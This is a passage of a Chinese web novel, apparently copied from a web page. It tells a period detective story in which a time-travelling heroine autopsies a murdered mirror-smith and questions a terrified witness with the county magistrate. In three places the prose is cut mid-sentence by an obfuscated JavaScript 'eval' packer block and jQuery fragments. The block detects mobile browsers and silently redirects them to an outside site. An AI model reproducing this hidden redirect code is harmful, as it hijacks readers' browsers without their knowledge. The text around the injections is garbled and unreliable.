心事重重,实在难以入睡,李长川把自己裹成春卷在床上滚来滚去,直到气喘吁吁才将被子从头上扯下来,就看到翠羽站在她床前,目瞪口呆地看着她:
“小姐,您,您在做什么呢?”
李长川也被她的突然出现吓得后缩了一下,活像个蠕动的蚕蛹。
“没,没做什么呀,哈哈哈……诶,翠羽你怎么进来了?”李长川挣扎着爬出来,故作淡定地坐在床沿干笑。
“哦,老爷和夫人叫奴婢来叮嘱小姐,您摔伤还未痊愈,明日就不要乱跑动了,安心在府里养伤就是。”
在家养伤?那她还怎么应付裴如晦?如果被他以为她是故意避而不见,他还不得一刀捅死她啊!
慈爱的爹娘和冷血无情的县令,两相比较,她几乎立马就嘴上应下了翠羽,心里盘算着,明天必得偷偷溜出去找裴如晦报到。
李长川抬眸偷偷打量起翠羽,这个梳着双髻的圆脸姑娘此刻微微歪头,似乎很疑惑于自家小姐今日怎么这般乖巧听话。
翠羽是从小便跟着她的,从差役丫鬟再到如今府里的贴身侍女,李长川的小秘密,她都了然于心,而李长川被爹娘瞒着不知道的,翠羽却或许……
思及此,李长川登时绽放出自以为最灿烂的笑容,“翠羽啊,我问你个问题,你会如实回答的,对不对?”
“这是自然!”翠羽用力地点点头。
“我这回摔伤,总觉得从前的记忆不甚清晰,也许是伤到脑袋——”
“什么?!伤哪儿了,奴婢看看!”翠羽大喊道,匆匆忙忙去看她头上的伤。
李长川抢着拦下她的手,“不碍事不碍事的,小伤而已。”
她倒是没撒谎,唐弃打她的那掌,再加上原主想不开自己往墙上撞的那一记,确实让她一时间无法回忆起所有事情。
翠羽连声嘀咕着要从回春堂请个郎中回来瞧瞧,李长川赶紧说道,“我问你,浔山县此前,是否一直是安定祥和的光景?”
“小姐这话是何意?”
“就是——我们这地方可曾出过什么大事?”
翠羽一瞬露出恍悟的表情,可立马又疑惑地问道,“比如?”
李长川无奈,只好暗示她,“比如,八年前……”
“八年前……”
“茶马司……”
“茶马——啊!”
翠羽突然噌地跳起来,捂住了自己的嘴巴还嫌不够,还捂住了李长川的嘴巴。
“翠…唔,唔……”李长川不明白她为何突然如此激动,拍打着翠羽的手,示意她赶紧松开别把自己闷死了。
翠羽反应过来自己一时僭越,立刻抽回手,仍心有余悸地说道,“小姐提这档子事做什么!”
李长川疑惑,“不能说么?”
“万万不能!当年的事关系重大,陛下龙颜大怒亲自下旨,光是涉事之人就死了成百上千,更别提他们被迁怒的亲眷,抄家、流放,浔山县当年死了……好多好多人啊!”
“哦……”李长川留了个心,没再继续追问。
“所以小姐,这事您别再提了,要让老爷夫人知道了,他们又该担心了。”
“爹和娘……真的很关心我呢?”李长川巧妙地换了个口风,装作随口一问。
自李长川记事起,李徽就在做浔山镇最大的布料生意——重莲布庄。论上品,可为皇宫御贡定制万千匹华美锦缎;若论下品,布庄为寻常百姓裁制粗布麻衣亦是尽心尽力。而相比于丈夫的抛头露面,齐英作为当家主母,便久居宅院,除却逢年过节随丈夫去各家府邸拜访贵妇们,便是在府里执掌中馈,将府中打理得井井有条。
因此,单凭原主的印象,她爹娘就是再寻常不过的商贾夫妻,要说他们二人有不臣之心,做出勾结叛贼之事,李长川实在不能信。
“是啊小姐,您不知道,今日老爷在庄上听说您失踪了,急得布缎都扯坏了三匹!那可都是顾县丞府上要的天香罗!老爷亲自盯着浸了七日才唯有这三匹,夫人则更是……”翠羽越说越激动,连手也比划起来。
“哎哎哎好了好了!”李长川知道她肯定又要滔滔不绝地说下去,赶紧打住话头,“爹娘待我好我自然知道,所以我想他们在生意场上大约也是文明经商、童叟无欺、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076001|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遵纪守法!定与那些官商勾结的小人不同!”
“小姐这话真是说笑了,咱们府上的布庄开了十几年,能成为老字号不是没有原因的!……”
翠羽的一百句话里总算也有两三句是有用的,只是听完后,李长川却更加心绪不宁,心中就像有团乱麻,无从下手。
虽然她总以“人不摆烂枉少年”为人生格言,但她现在根本回不到现代,还借用着人家的身体,也合该帮她查清自己身上背负的秘密。
又或许她揭开真相的那一日,便是她功德圆满得以脱身的时刻呢?
视线落在窗外,桃花同样未眠,她举起烛台想去折一枝,却差点让烛焰灼伤花瓣。
城郊一处私宅内,烛影摇曳,四壁洞明,有人踏入,晃乱一室浮光。
“所以说,李长川还是在撒谎?那她所言哪些为假啊?”
裴如晦走在前头,身后紧跟着曲悬音。
“是啊。不过呢,你该问问她所言哪些为真。”
曲悬音费解道:“那你为什么还是放她走了?”
裴如晦漫不经心地说:“难道把她绑在我们身边,她就会乖乖张嘴说话了?”
得不到正面回应,曲悬音急得快步窜到裴如晦前面,“可,可你好不容易蹲到李长川独自外出的时候,若这一次放虎归山,下次再想找到机会便难了!”
裴如晦长叹一口气,抬眸看他,“那你说该如何?”
曲悬音忙说道,“至少得把她关起来,继续我们的计划,以她为饵,诱敌深入啊!”
裴如晦在供桌前停下,蓦地盯着桌上某处,好一会才答道:
“诱敌深入固然痛快,可现在这个计划行不通了,她既然想要按兵不动,我不妨自己作饵,以身入局。”
曲悬音本还纳闷他为何突然不说话,顺着他的目光看去便明了了。多年无人踏足的祠堂,供桌干干净净,更无灰尘蛛网,可见打理之人的用心。
——先妣贺氏讳兰亭之灵位。
同裴家在京城的府邸一样,供案上,是裴如晦母亲的牌位。
唯一不同的是,那旁边还供着一块牌位。
无名,无姓,没有谥号、奉祀人名,更不见香火供奉。若不是雕刻得与牌位一般无二,还真叫人以为这是什么人无意中丢弃在这的废木头。
曲悬音发誓他真的很想冒昧地问问这无字牌位是谁的,但最终还是硬生生压下了这念头,转而问了另一个忍不住要问的问题,“湜一,我始终想不通,不过是几个叛党余孽,蚍蜉撼树罢了,你究竟在查什么?”
烛火柔和地将光倾洒在少年的脸庞、发梢,丝毫不吝啬地涂抹过他精致的轮廓,裴如晦却偏开头,重新将身子没入黑暗,低眸出神地垂下手,似是无意碰到了腰际的玉佩。然而连他自己都没有注意到,那只碰到玉佩的手微不可察地颤动了一下,而后紧紧攥住,揉进掌心。
“若只是蚍蜉撼树便好了。”裴如晦喃喃道。
5. 郎中也管验尸?
“湜一!东市的王记饼铺生意真好哇!听说他家新出的锅魁特别好吃,我排了好长的队才买到呢!”
隔着一道墙就听见明朗的声音穿透而来,曲悬音一手提一个油纸包,风风火火地跑进了房内。
硕大的饼子举在裴如晦面前,喷香的肉味和酥皮味扑鼻而来,裴如晦却无心进食,抬手拨开,就看见了锅魁后面曲悬音那尚未脱离稚气的笑脸。
“吃不吃吃不吃?”曲悬音殷切地递给他,自己已经大嚼特嚼,将腮帮子塞得鼓鼓囊囊。
看着曲悬音那不争气的样,裴如晦将那只手推开,揶揄道,“你怎么成天就想着吃?”
“我,我这不是没吃过吗!”被裴如晦的话噎住,曲悬音忿忿地又咬了一大口。
裴如晦收敛笑意,“叫你们贴出去的寻人告示,可有人揭下了?”
曲悬音摇头,“并无。”
“东市街口、城门楼下、茶坊酒肆,按你的吩咐,昨日都已贴了。按理说这些平日里都是最热闹的地方,贴出寻人告示后总会有许多人留心,怎会无人揭告示呢?”
曲悬音擦擦吃得油亮的嘴,“要么我再派人多去些地方张贴?或是再等等?”
裴如晦站起身,“不等了。”
曲悬音不解道,“可现在我们没有仵作,连尸体身份也无法确认,不等又有什么办法呢?”
裴如晦绕开他朝门口走去,“浔山本就尺寸之地,百年来就算世代更迭,住着的也不过那千百户罢了,百姓彼此熟识,怎么可能告示贴出一日还无人识得?”
曲悬音若有所思,“你是说...”
他还没反应过来,却见裴如晦已经掀开帘子就要出门,而后不知看见了什么,忽地顿在门口。
“裴大人?”
李长川兴冲冲地过来,连发髻都有散乱的迹象,刚好撞上正往外走的裴如晦,她擦擦额头上沁出的汗珠,道:
“不是要验尸吗,大人怎么又要出去?”
她又往裴如晦身后探了一眼,了然道,“是要找仵作吗?用不着那个!”
裴如晦拧起眉头,“她怎么来了?为何不让她在前堂等着?”
她身后衙役打扮的人姗姗来迟,喘着粗气,“大人啊,这小姑娘跑得也忒快,小的都差点赶不上她,等......等小的顺顺气儿!”
裴如晦重又看向李长川,脑中可还记得她昨日百般不愿的模样,他还因此特意派了暗线侍卫,自昨晚起便蹲守在李府附近,下的吩咐是“一旦有异动无需回禀直接捉拿”,而看她现在的样子,却殷勤得很。
李长川不会看不出他的怀疑,只是没有点破。她当然不会告诉裴如晦她昨天在床上辗转反侧,一夜睁眼到天亮,总算想明白了她如今的处境。
罪臣之女的名头她承受不起,但于情于理,她也不愿,更不能让李父李母无端蒙冤。因此她一大早跳窗偷偷溜出府便眼尖地发现了那个侍卫,央他直接带她进府衙面见裴如晦。
她现在所能倚仗的,只有面前这个男人。
李长川深吸了一口气,重复道:“裴大人,我帮您验尸。”
“你?”
两个人异口同声道。
裴如晦挑挑眉,颇有余裕地笑道:“你不是个郎中吗,郎中也管验尸?”
更何况他查到,这位李大小姐在回春堂看病的本事也是臭名远扬。
原主的确在医馆当学徒,偶尔师父也会让她出诊,所以李长川早有预料裴如晦会查到她郎中的身份,她神情如常,平静地答道:“只是略懂一二,并不精通。”
“大人若是信我,就让我试试看?”
裴如晦沉吟片刻,目光冰冷地上下打量着她,指尖若有所思地在腰际的玉佩上轻叩。
随后缓缓开口道:“去义庄。”
李长川了然一笑,赶紧跟在了裴如晦身后。
马车在闹市缓缓行进,最终停在了临近郊外的义庄前。
看守义庄的小吏看见县令的马车,已经早早等在了门口,好迎接这位活祖宗,看见裴如晦下车,他便小跑着迎上去:
“哎呦太爷,您怎么又亲自来了,可是已经找到仵作了?”
裴如晦沉默不语,直接略过了他,大踏步朝庄内走去,倒是一旁跟着的曲悬音皱着一张脸,用手指偷偷地指了指李长川。
出门前,李长川主动向裴如晦要了面纱,她自然不在意什么闺阁女子面见外男要拥蔽其面的陈规陋俗,只是不想被人认出,传到她爹娘耳朵里再生事端而已。
因而小吏顺着曲悬音的手指看去,还只当戴着面纱的李长川是个神秘的江湖人士,行走江湖之人又会验尸,低调一点也再正常不过。
穿过幽暗沉闷的廊道,裴如晦领着她进了尽头的一间停尸房。
裴如晦没有停顿,一把拉开了那扇厚重的木门。
门甫一打开,原本只是闷臭的气味瞬间加重了几倍,尸体的恶臭如同游蛇,无孔不入地钻进鼻腔,让人的肠胃瞬间排山倒海地翻腾起来。
“呕!……”
曲悬音飞快地跑离门口,扶着墙根大声干呕起来。
李长川忽然觉得,她的面纱应该给他用用。
裴如晦微微低头,隔着面纱并不容易看清李长川的表情,可她从开门起便一直安安静静的。那么浓烈的臭味,饶是见惯了尸体的他也是勉强压抑住了恶心,而李长川却岿然不动,根本不像第一次见到尸体的人该有的反应。
李长川并未察觉裴如晦的小动作,顾自提着灯走进房内。
死者身上蒙着白布,裴如晦仍站在门外冷冷注视着,她用力将那白布整块掀开,露出那下面覆盖着的尸体。
曲悬音已经停止了呕吐,此时正在门口探着脑袋,既害怕又好奇地想要看看。
“哗——”
伴随白布落地,曲悬音又捂着嘴巴狼狈地跑到了墙根继续他的肠胃清理大业。
尸体应该已经死了很多天了,刀口数量格外之多,不仅伤口处有蛆虫在啃食血肉,连死者的眼、鼻、口处都有蛆虫和蚂蚁源源不断地爬出来。虽然看着挺瘆人的,但其实死状并没有曲悬音表现得那么恐怖,至少和她见过的那么多尸体比起来还是稍逊一筹。
只不过……她摘下面纱,微微皱起眉,大约是保存不当的缘故,尸体的腐烂程度非常高,有些地方被啃得只剩一丝皮肤连着血肉,在安静的停尸房,甚至都能听到这些东西在尸体上咀嚼的声音。
“长川姑娘……”曲悬音抚着胸口,仍是一副惊魂未定的模样,“你真的,要验尸?”
“验!”李长川直起身子,“为何不验?”
她转过身,用不容否定的语气对曲悬音说道:“我说,你记。”
曲悬音惶恐地看向裴如晦,见他微微颔首,没有反对的意思,赶忙掏出随身携带的纸笔。
“死者为男性,年龄大约三十五岁到四十岁之间,身高约……七尺,尸体腐烂程度较高。”
尸体的衣服还被模糊的血肉黏在身上,从那些衣料被刺出的裂口也不难看出,下手之人何其残忍,与其说是衣服,倒不如说是几块零零散散的布
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076002|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
料碎片拼接而成。
李长川上手想要将尸体的衣服扒下来,曲悬音看到后想上前帮忙,却被她给拦了下来。
李长川笑道:“曲公子身娇肉贵,万一划破了手指,伤口感染了可不好了。”
裴如晦听闻,喉头处挤出低沉的笑声,曲悬音此时还摇头晃尾以李长川关心他而自得,殊不知在场三个人,只有他没反应过来李长川是怕他笨手笨脚破坏了什么重要证据。
“尸体上半身多处伤口,创面小,创腔深,伤口处皮肉卷曲外翻,初步判断为锐器所伤。左胸致命部位有两处伤口贯胸,伤口较为平整,边缘肉色发白,推断为死后伤。”
李长川说着,微微弯腰,几缕青丝也从肩头缓缓垂落。她今日出门走得急,只随手绾了个发髻,此时松松垮垮地盘在脑后,很是不便,她停下手上动作,拿帕子擦干净手,抬起手欲重新挽个发髻。
少女挥起的袖子带动一阵微风,裹挟着身上草药的清苦香气,在这个狭小的空间里宛如久旱逢甘霖,令裴如晦也有一瞬间的愣神。
初见时她灰头土脸的,以至于裴如晦下意识便觉得她合该是那样狼狈的模样。然而今日她虽未施粉黛,身着一袭菡萏琢花轻纱,粉嫩的颜色更显得她肤白胜雪,唇若点绛,微微蹙起的眉头也如远山含黛,验尸时为行方便卷起的袖口似有若无地露出一截白净的小臂。
原来她是个很好看的姑娘,裴如晦一时头脑空白,只剩下这个想法。
“大人?大人?”直到李长川在他面前挥手,裴如晦方才回过神来。
他刚刚居然是在……为了这个满口谎言的女子走神了?
李长川没在意他的失态,问道:“敢问大人,这具尸体是在哪里发现的?”
裴如晦拉回思绪,答道:“注水溪旁的河滩上,怎么了?”
李长川若有所思,“可否请大人详细说一下报案人发现尸体时的场景?”
“证人情绪癫狂,证词也难辨真假,我正打算提审他。”裴如晦从倚着的门框上直起身,缓缓走近道:“你说了这么一大堆,还是没推测出死者的身份。”
“这不难。”李长川微微勾起唇角,回过身子。
她以一块干净的帕子稍微隔挡,摸索着尸体的骨架:“肩胛骨变形严重,有多处磨损痕迹,明显是多年挑担所致。”李长川毫不忸怩,脱下死人脚上的鞋,掸了掸上面的黑泥:“草鞋。”
裴如晦颔首,示意她继续,李长川正往下扒尸体的衣服,曲悬音便拊掌喊道:“啊!那他一定是城西种田的农户!”
李长川垂眸,轻摇头道,“照曲公子所说,那么倾脚工、驿夫、徭夫都可以是这具尸体,如果光凭这些便下结论的话,未免轻率。”
瞧着裴如晦也投过来促狭的目光,曲悬音兀自红了耳根,这边李长川浑然不觉地拿起死者烂到不成样子的衣服,层层分离剥开:“您瞧。”
裴如晦点点头,他昨日也注意到了:“此人虽穿着草鞋,然而除却穿在外面示人的袍衫工艺布料较为粗糙之外,中衣、下裳,甚至是紧身的贴里,都是品级极高的丝织品。”
李长川继续接话说:“是呢,尤其是这件对襟,用的还是金陵的云锦,这针脚真是细密。”
裴如晦道:“行商坐贾,身穿草鞋可见他常常走南闯北,而连贴里都要用华贵的布料,又想财不外露,他必然是商人,而且定是——”
“暴发户。”
“骤然暴富。”
异口异声,大眼瞪小眼时才发现二人已经离得极近,距离就在呼吸之间。
6. 冶镜师之死
她茫然地抬头一扫,就猝不及防地跌进了对面人墨玉般深沉的眼眸,她顿时呼吸停滞一瞬。
太近了……近到可以数清他根根分明的睫毛,近到可以看清他眼中自己的倒影。
李长川莫名地想到小时候老房子里的那方天井。
四方的天井下面一直放着一口圆圆的水缸,平时空洞洞的,缸底布满一层青苔,碰上下雨的日子,雨水就会涨满水缸。
乡下农村的夜很长,雨过天霁的夜晚驱散了暑热,小小的她就喜欢跑到院子里,看天井外的天,水缸内的水。那时候星星在天上,也在水里,用手搅一搅,星星就像蛋花一样散开。
爷爷会摸着她的辫子告诉她:“含璋啊,要是有一天爷爷不在了,你就找天上最亮的一颗星星,那就是爷爷在天上看着你。”
长大以后想想,哄小孩的话总是千篇一律,而那时她问:“可是天太高太远了,爷爷不能离我近一点吗?”
爷爷便说:“那含璋就看这口水缸,你看。”
她顺着爷爷手指的方向看去,月光洒下的水面上,倒映着她的身影和满天的星星,一如裴如晦眼中的自己,与数年后的她重叠。
本就逼仄拥挤的房间此时因两人的目光交汇迅速升温,先是裴如晦不觉脸上微微一红,眨了下眼睛,随后移开了目光。
李长川噌地一下子弹开,不动声色地挪了半圈,离裴如晦有一具尸体远后才肯放心。
她清了清嗓子,说道:“冒犯大人了。”
裴如晦也不看她,就盯着墙角一言不发,双唇都抿成一条缝,不知在想些什么。
李长川见状,以为他也跟自己一样并未放在心上,便继续说道:“大人说得不错,此人的确像是骤然暴富的商人。”
曲悬音忍着恶心凑近裴如晦,撞撞他的肩膀,窃窃私语说:“湜一,和你原本想的一样么?”
裴如晦点点头。曲悬音露出一副大失所望的表情:“啊……还以为长川姑娘有什么大本事呢,怎么验了半天,得出的结果还和你一个不会验尸的一样!”
李长川并不在意他说的话,顾自皱眉仔细查验着尸体。
她突然开口道:“取水来。”
用帕子浸湿了水,李长川背对着他们奋力擦拭着尸体,须臾后,她转过身笑道:
“大人,尸体身份已经完全明了了。”
她抖落手帕,素色的底料上赫然多了几块绿色的印迹。
她说道:“尸体的两个手掌都略微发黑,尤其是十指指腹处,连指纹都嵌进了黑色。”
“我原本以为他是中了什么毒才会这样,可中毒的人大多面色乌紫,口唇也会发黑,而他呢,却只有手掌发黑。”
李长川扯着裴如晦让他凑近点端详,他也就忍着那股排斥感,一瞧果真如此。
“所以我就取水来擦拭,说来也巧,本来铜和水在正常情况下是不能发生化学反应的,但应该是这尸体在潮湿的环境里放久了的缘故,我使劲擦了几下,就从他手上擦下了铜绿。”
“什……什么叫化、学、反、应?”曲悬音躲得远远的,好奇地问道。
李长川发觉自己分析得一时兴奋说漏了嘴,把现代的化学知识也说出口了,赶紧忽悠着把曲悬音敷衍过去,裴如晦在一旁却暗暗留了个心眼。
“冶镜师。”
曲悬音没反应过来:“什么?”
裴如晦缓缓直起身子,吐出一口浊气:“早在来剑南的路上,便听说东都最近盛行冶镜之术,不知是哪家商埠的工匠先起头说自己能复刻始皇的照骨镜,若将此镜挂在家中,可日日检验丈夫是否忠贞。因此虽然此镜价格极高,但凡有一面新的照骨镜上市,都会被女子们以竞价的方式抢购一空。”
曲悬音忿忿道:“照骨镜?这怎么可能嘛!要我看,就是这些商人利用传说作为经销的噱头,用这种方式哄抬物价,怎么会有人相信!”
裴如晦笑道:“你还别说,不光平头百姓趋之若鹜,就连华盈长公主为了爱女的嫁妆,还特意办了一场鉴镜大会,你且等着看吧,一月之后,所有的冶镜高手都将云集东都。”
李长川顺着他的话继续分析道:“所以肯定是一个日夜勤于磨镜的工匠,才会因长期接触铜器而将手染黑。”
曲悬音一副恍然大悟的样子:“哦!所以这个冶镜师——”
李长川压下曲悬音因为激动而胡乱舞动的手,说道:“绝不是被凶手杀人取财。”
她对上曲悬音“你怎么知道我要说什么”的眼神,指着尸体心脏处的贯穿伤解释道:“他身上的伤口看着是很多,但真正致命的只有这两处。”
“但是奇怪的是,明明刺中心脏就可以一击毙命,为什么凶手还要在他身上扎出这么多明显是故意为之的伤口?而且你们看,这两处致命伤皮肉没有丝毫卷曲的迹象,肯定是死后起码一天才刺中的,凶手如果只是贪图他的钱财,又为什么要在他死后再来补刀呢?”
好像密密麻麻的线团终于被找到了线头,李长川在脑海中飞速地还原死者的生前形象,每说一句,她脑中勾勒的图像便更清晰一分。
曲悬音咋舌叹道:“这是有多恨啊……”
裴如晦仿如有所启悟,抬头正好与李长川难掩兴奋的目光交汇,于是说道:“悬音去跑个腿,在城内各处大小客栈驿馆打听一下近几日内有没有携带车马行囊较重的客人入住,尤其是文牒上前往东都的。”
李长川跟在后面补了一句:“还有近期与人发生冲突的,记得也要列一份名单出来!”
曲悬音连连应好,终于得了赦免似的光速逃离了义庄。
又只剩下他们两个。
两个人面面相觑,像都突然哑巴了一般,刚刚由于曲悬音的存在而显得尤为融洽的气氛在此刻又有向尴尬演变的趋势,李长川决定先开口打破僵局:
“大人那现在还有什么我能帮的吗?”“跟我一起去趟证人家里。”
又是同时!李长川有抽自己一巴掌的冲动。
康家住在一条狭窄的小巷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076003|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子里,马车难以通行,所以二人在巷子口下车打算步行过去。
“欸王家娘子,听说了么,康家那个讨债鬼疯了!”
“疯了?为的什么疯了?”
“听说是撞见了死人,然后就疯了,不过依我看呐,他就算没这么一遭事,整天痴痴傻傻的发疯也是早晚的事儿!”
“可不是么!我跟你说啊……”
巷子并不深,但还未来得及走到康家,李长川的耳朵都快被这些八卦塞满了。邻里邻居的,大家住得又近,日常妇人嚼舌根是再常见不过了,她老家村口就有个常驻的情报部,每次路过她都害怕自己在那堆老头老太的口中身败名裂。
所以最好的办法就是——打不过就加入。
她朝裴如晦暗递眼色示意让他先进去,自己来打探消息。
大娘们看到稍微标志一点的小姑娘就只想着说媒,这个优良传统的传承从古到今都被好好地保留了下来,李长川好不容易在她们殷切打量的目光中挤出来,带着些可用的消息迟迟赶到,本以为裴如晦这边差不多也该结束了,没想到一进门就听到厢房内传来鬼哭狼嚎的叫声。
“我什么都没看见!不要,不要杀我!不要杀我啊啊啊啊!”
李长川还没进屋就险些被一块飞来的枕头砸中脑袋,进屋后看到的便是这样一幅场景,二公子康绥精神萎靡,尽管瘦得使不上劲还在床上拼命挣扎,但仆人们硬是拉也拉不住,裴如晦正欲上前帮着一起按住康绥,李长川抢先拉住他低声问道:“这是怎么回事?”
裴如晦看见她来了,瞥了一眼还在床上扭动的康绥,叹了口气转过身和她说道:“来的时候还好好的,一问到那天的事就这样了,估计是那件事对他有些刺激。”
李长川悄悄回头端详了会儿,得出了一个结论。
这哪是“有些”刺激啊!这是刺激太大了啊!这都得重度PTSD了吧!
她轻轻推开裴如晦,径直朝着床榻上的康绥走去,掏出怀中从原主抽屉里翻出来的九针,不等康绥腾出脚把她踹飞出去,“唰唰唰”已经三根针下去,扎在了他头上。
康绥顿时浑身僵住,想喊的话在喉头滚了几圈,最后眼睛一瞪咽了下去。
一旁的仆人担忧地看向李长川,她便解释道:“我刚刚扎的几个穴位,有安神定志之效,三针下去立竿见影,待会找个通药理的侍从来,我可以教他该怎么做。这样每日一次施针,你家公子的惊厥症便可慢慢痊愈了。”
仆人闻之大喜,忙上前将跌坐着的康绥扶起来,众人一看,他眉宇间的疯癫果然消退了不少,眼神也已清明许多,李长川默默后退几步,朝裴如晦说道:“可以问了。”
又是验尸,又是施针,这和他调查到的李长川截然不同,如果说会验尸还能勉强归为巧合,那么刚刚李长川一顿雷厉风行的操作就不得不让裴如晦对眼前这个女子隐瞒的秘密产生了更大的怀疑。
他缓缓收回视线,问道:“这月廿二的夜里,你都看到了什么,再复述一遍。”
7. 逛窑子
康绥呆愣地眨眨眼睛,脸上刚刚被吓出来的泪痕还没干透,迟滞地转头看向他们,终于开口说了这几天来第一句利索的话:
“我看到神仙了。”
尽管旁边站着的仆从一言不发,但从他像被雷劈了的表情来看,一眼就能知道他在想什么。
这是治好了还是没治好啊?!
转头再看看两位官府来的面上倒是未起波澜,旁边的男人倒也罢了,这个相貌姣好的姑娘不但能妙手回春,当下还面色如常地点点头鼓励康绥继续说下去,真不愧是见多识广的神医!
康绥见状咽了口唾沫,眼神不自觉地游离,说出的话毫无生气:“那天夜里,我走在下山路上,突然听到旁边的树丛里有人呼救……”
因为此处靠近溪边,常有妇人来浣洗衣物或是孩童嬉水,失足掉进河里的事也是偶有发生,所以康绥当时并未细想,只当是有人落水,急急忙忙地解开外衣便想去救人,谁料等他拨开那些遮蔽视线的树丛,眼前的一幕却让他瞬间脚底发虚,踉跄着后退了好几步,迅速浸出的冷汗几乎将他的后背打湿。
“那是英招,一定是英招!他身长九尺,高大魁梧,我看着他举起了长矛,将一个人恶狠狠地踩在脚下,用力刺穿了那人的身体!”
英招?李长川抬头用眼神询问裴如晦,裴如晦与她相视一眼,随后说道:“《山海经》中记载了一神兽,其状马身而人面,虎纹而鸟翼,徇于四海,其音如榴,康二公子见到的英招是否就是我所说的上古神兽?”
见康绥猛力点头,裴如晦掰着手指头说道:“马身人面,虎纹鸟翼,音如榴,这么多的特点,一下子可不好辨认。”
他勾唇笑笑,声音里却横添了一丝威胁的意味,沉声道:“尤其是像夜晚光线这么差的情况下,你连对方身长何许、具体做了什么动作都能一一道来,我究竟是该夸你临危不乱还是有意为之呢?”
又端起这个臭脸了,李长川暗自腹诽,他这副皮笑肉不笑的模样,李长川无论看多少遍都会代入到她被裴如晦用刀架着脖子的情景。
思及此,李长川在确保裴如晦看不见她的视角,对他恶狠狠翻了个白眼。
眼见康绥又害怕地朝里挪动,李长川忙上前一步,挡住他的视线笑着安慰他:
“康公子别紧张,这位呢,是本县新任县令裴大人,你别看他脸臭,裴大人办案素来秉公无私!他询问你也只是想早日查清凶手,所以你有什么便说什么,不用紧绷着哈!”
他脸臭?裴如晦感觉他的嘴角抽动了一下之后就再也笑不出来了,在大理寺历练五年,他一直不屑以尚书之子的身份以势压人,单凭他见微知著的慧眼和有如神助的破案速度就让一众同僚敬服,上至大理卿下至监狱长,谁曾敢说他脸臭?
“我!……”
“好……我说。”
总算撬开了这祖宗的嘴,二人瞬间没了互怼的心思,都屏气静静等着他说话。
“我本不想去河边!都是顾少爷在席上非灌了我几大壶酒,我怕回家后酒气太重被我大哥发现,便想去捧些溪水洗把脸,谁知道就碰上了这么件晦气事!要怪就怪那晚月光太亮,我离得又那么近,叫我看得一清二楚!他的血……还溅到了我身上……那血还是温热的,温热的!”康绥说着又嘶喊起来,扭动着去抓身上的衣物,仿佛要将那日溅到的血全都擦净。
今日已不宜再问,裴如晦一把拉过还想安抚康绥的李长川,将她护在身后,下一秒康绥的五个手指印就整齐地印在了他的脸上。
这次的问询最终以裴如晦满腔怒火又无处发泄地离开康家告结,他憋着气冲在前面,自然也没看到身后正房中走出一个淡然俊雅的男子,然而李长川却有意地放慢脚步,默默地看了会。
男人虽然长相儒雅,说出的话却夹枪带棒,他轻蔑地瞥了眼厢房内还在发疯的康二公子,随后嗤鼻道:
“一点小事就吓成这样,这样的野种也配做我康家的人。”
骂这么脏啊……李长川暗暗感叹,转头问送出来的侍从:“这位是?”
“回小姐,这是我家家主。”侍从怯生生地说道。
李长川想起来的路上裴如晦和她提起过的康家长子康禾祺,了然道:“你们家主看起来很讨厌二公子,怎么,他俩不是亲生兄弟啊?”
她本是打趣想缓和一下气氛,可话一出口侍从立马变了脸,小声说:“小姐,求您别说了……老爷从不许别人提二公子的身世……”
看见侍从哀求的表情,李长川心里咯噔一下秒懂,信誓旦旦地将食指放在唇边表示自己不会乱说。
“我自己能躲开,您替我挡什么呀?”
也分不清裴如晦是气得还是疼得,回到衙门李长川给他上药的时候,难得地看见在他的脸上还能出现除了皮笑肉不笑以外的其它表情。
裴如晦呲牙咧嘴的,冷声说道:“谁替你挡了?我是怕你看康绥一个不顺眼,下狠手把他也给打残了。”
“噗嗤——”
李长川粲然一笑,随后正色道:“行吧裴大人,就算你要逞英雄也得把您这俊脸保护好吧,这下好了,堂堂县令还怎么出去见人?”
裴如晦不以为意地摆摆手,“小伤而已,很快就消下去了。”
李长川拿着药膏的手慢慢垂下,她低头看向裴如晦明显左右肿得不对称的脸,小声地说:“谢谢啊。”
裴如晦一愣,随即仰头用他那双好看的眸子看着她笑着说:“李大小姐说什么?我没听清,可否再说一遍?”
他故意的。
可好歹他也结结实实替自己挨了一巴掌,李长川深吸一口气:“我说谢……”
“湜一!你猜我查到了什么?”曲悬音蹦跶着跑进来。
“查到了什么!”李长川蹦跶着迎上去。
“我跑遍了城内大小客栈,最终锁定了一家!你知道店主人跟我说了什么吗?”曲悬音神秘兮兮地凑近问道。
“店主人跟你说了什么!”李长川求知若渴地凑近……
“行了悬音别卖关子了,还有你李长川,也别演了!”裴如晦没好气地打断他们。
“噢。”曲悬音把嘴巴撅得老高,一点也不客气地拿裴如晦的杯子豪饮了一杯茶,才缓缓道来:
